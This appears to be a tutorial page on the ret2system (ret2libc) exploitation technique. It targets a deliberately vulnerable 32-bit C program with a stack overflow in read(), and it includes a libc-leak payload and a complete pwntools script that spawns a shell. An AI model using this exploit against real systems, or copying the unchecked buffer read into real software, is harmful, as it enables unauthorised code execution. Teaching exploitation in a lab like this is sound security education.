ret2system¶
We discussed how to make a ROPchain for a statically linked binary. But what if the binary is dynamically linked to the libc? This is where the ret2system exploit comes into play. In case of a dynamically linked binary it cannot be guaranteed that all the required ROPgadgets are present. Due to this we may not be able to make a syscall.
/*gcc -m32 -fno-stack-protector -no-pie -o vuln vuln.c*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFFSIZE 136
void vuln(){
char buffer[BUFFSIZE];
read(0,buffer,0x200);
}
int main(){
vuln();
}
Note
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=a6c3ab368d8cd315e3bb2b970556ed0510bca094, not stripped
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Initial Analysis¶
The given binary is 32 bit. Only the NX
bit is enabled. The binary is dynamically linked
. Looking through the source code it can be noticed that there is a an overflow in
read()
in the vuln
function.
Leaking libc¶
For using this technique we first need to leak some libc addresses. The addresses of all the functions in libc is stored in a table called Global Offset Table
or GOT
. These addresses are at a certain offset from the libc base address. For leaking a libc address, functions like puts
or write
can be used. In case of a 32 bit binary the arguments can be pushed onto the stack and for a 64 bit binary the arguments can be put onto the correct registers. For us these arguments are the GOT addresses
.
payload = ''
payload += 'a'*140
payload += p32(0x080483a0) # the call to write
payload += p32(0x080484c6) # main (This is where program returns after calling write)
payload += p32(0x1) # File_descriptor
payload += p32(0x804a004) # buffer (basically the address in the GOT table)
payload += p32(0x8) # buffer size
So we are filling the buffer and calling the write()
function for leaking libc. The arguments for write are the file descriptor
, the buffer
, and the buffer size
.So we push these arguments onto the stack. These arguments has to be passed in the reverse order. We are leaking the libc address of getegid
function.
Calling system()¶
After we get a leak we need to call system. As mentioned earlier all libc addresses are at a constant offset from the libc base. We can find this offset using gdb. we can find the base address of libc using the command info proc map
.
The address of the system function can be found using print system
and the address of the /bin/sh string can be found using find 0xf7fa6000, 0xf7dd1000, "/bin/sh"
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
|
Now that we have found the addresses we need to find the offsets of these functions from the libc base.
1 2 3 4 5 6 7 8 |
|
Now that we have all the required information we can find the address of the system function and call it thus spawning a shell.
from pwn import *
base_func_off=786064
system_base_off=250368
off_shell=1564879
payload = ''
payload += 'a'*140
payload += p32(0x080483a0) # the call to write
payload += p32(0x080484c6) # main
payload += p32(0x1) # File_descriptor
payload += p32(0x804a004) # buffer basically the address in the GOT table
payload += p32(0x8) # buffer size
io=process('./vuln')
io.sendline(payload)
out = io.recv(4)
func = u32(out)
print ("libc_func_addr:{}".format(hex(func)))
base = func - base_func_off
system = base + system_base_off
shell = base + off_shell
print ("libc_base:{}".format(hex(base)))
print ("system address:{}".format(hex(system)))
print "shell_address:"+ hex(shell)
payload = ''
payload += 'a'*140
payload += p32(system)
payload += 'aaaa'
payload += p32(shell)
io.sendline(payload)
io.interactive()